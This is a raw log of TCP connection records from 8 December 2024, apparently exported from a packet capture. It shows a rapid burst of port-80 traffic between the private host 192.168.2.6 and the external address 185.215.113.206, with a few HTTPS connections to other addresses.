Dec 8, 2024 17:45:47.651808023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.651859045 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.651921034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.652853012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.652930975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.652950048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.652964115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.653980017 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.654074907 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.654113054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.655133963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.655225039 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.655272007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.655308008 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.656233072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.656341076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.656344891 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.656399012 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.657324076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.657388926 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.657427073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.657519102 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.658456087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.658514977 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.658550978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.658720970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.659625053 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.659729004 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.659759998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.659809113 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.660698891 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.660733938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.660809040 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.660854101 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.661812067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.661885023 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.661931992 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.662045002 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.662918091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.662965059 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.663036108 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.663139105 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.664066076 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.664177895 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.664201021 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.664239883 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.665296078 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.665390968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.665425062 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.665478945 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.666404009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.666455030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.666487932 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.666523933 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.667432070 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.667485952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.667526007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.667656898 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.668520927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.668586016 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.668633938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.668678999 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.669635057 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.669689894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.669729948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.669784069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.670758963 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.670799971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.670840025 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.670881987 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.671905041 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.671940088 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.760137081 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.760225058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.760262966 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.760325909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.760494947 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.760575056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.760617971 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.761589050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.761639118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.761672020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.761873007 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.762726068 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.762780905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.762799025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.762903929 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.763864994 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.763962030 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.763988018 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.764166117 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.764914036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.765021086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.765031099 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.765073061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.766030073 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.766104937 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.766139030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.766310930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.767201900 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.767246962 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.767282009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.767282009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.768285036 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.768368006 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.768410921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.768596888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.769399881 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.769478083 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.769535065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.769609928 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.770538092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.770601988 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.770705938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.770747900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.771706104 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.771761894 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.771832943 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.772831917 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.772891998 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.773020029 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.773062944 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.773948908 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.774000883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.774017096 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.774051905 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.775001049 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.775059938 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.775111914 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.775156975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.776227951 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.776335001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.776412964 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.777254105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.777317047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.777337074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.777379036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.778388023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.778461933 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.778484106 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.778512001 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.779481888 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.779531956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.779555082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.779628992 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.780599117 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.780677080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.780689001 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.780761957 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.781671047 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.781780958 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.791069031 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.791101933 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.791120052 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.791131973 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.791151047 CET	443	49834	150.171.27.10	192.168.2.6
Dec 8, 2024 17:45:47.791172028 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.791197062 CET	49834	443	192.168.2.6	150.171.27.10
Dec 8, 2024 17:45:47.831967115 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:47.832014084 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:47.832117081 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:47.832643986 CET	49842	443	192.168.2.6	20.234.120.54
Dec 8, 2024 17:45:47.832657099 CET	443	49842	20.234.120.54	192.168.2.6
Dec 8, 2024 17:45:47.834069967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.834131956 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.834150076 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.834177017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.834602118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.834649086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.834736109 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.834817886 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.835777998 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.835834026 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.835866928 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.835947037 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.836895943 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.836952925 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.837023020 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.837081909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.837965012 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.838009119 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.838038921 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.838088036 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.839117050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.839164019 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.839217901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.839257956 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.840186119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.840260983 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.840384007 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.840465069 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.841319084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.841428995 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.841463089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.841463089 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.842420101 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.842520952 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.842536926 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.842655897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.843611002 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.843676090 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.843703985 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.843743086 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.844662905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.844737053 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.844810009 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.844890118 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.845772028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.845849991 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.845869064 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.845964909 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.846894979 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.846955061 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.847042084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.847112894 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.848072052 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.848150015 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.848211050 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.848541975 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.849189997 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.849258900 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.849294901 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.849368095 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.850466967 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.850511074 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.850584984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.850584984 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.851489067 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.851666927 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.851674080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.851716042 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.852633953 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.852678061 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.852718115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.852718115 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.853594065 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.853657961 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.853739977 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.853797913 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.854717970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.854775906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.854804039 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.854860067 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.855844975 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.855905056 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.855930090 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.855977058 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.857016087 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.857084990 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.857116938 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.857253075 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.858093023 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.858165979 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.858171940 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.858223915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.859185934 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.859235048 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.859399080 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.859590054 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.860389948 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.860435009 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.860515118 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.860578060 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.861500978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.861541986 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.861567974 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.861612082 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.862518072 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.862634897 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.862641096 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.862694025 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.863696098 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.863759995 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.863805056 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.863946915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.864811897 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.864886045 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.864905119 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.864953041 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.865895987 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.865948915 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.866022110 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.866115093 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.867029905 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.867079020 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.867160082 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.867280960 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.868130922 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.868171930 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.868237019 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.868282080 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.869236946 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.869292974 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.869332075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.869426966 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.870317936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.870403051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.952476978 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.952500105 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.952550888 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.952574968 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.953023911 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.953138113 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.953150034 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.953182936 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.954128027 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.954185963 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.954210043 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.954262018 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.955240011 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.955322027 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.955358028 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.955434084 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.956342936 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.956403017 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.956458092 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.956636906 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.957504034 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.957561970 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.957611084 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.957679033 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.958628893 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.958676100 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.958707094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.958707094 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.959709883 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.959805965 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.959866047 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.960823059 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.960928917 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.960932970 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.960974932 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.961925030 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.961991072 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.962099075 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.962151051 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.963102102 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.963164091 CET	80	49805	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:47.963202000 CET	49805	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:47.963202000 CET	49805	80	192.168.2.6	185.215.113.206
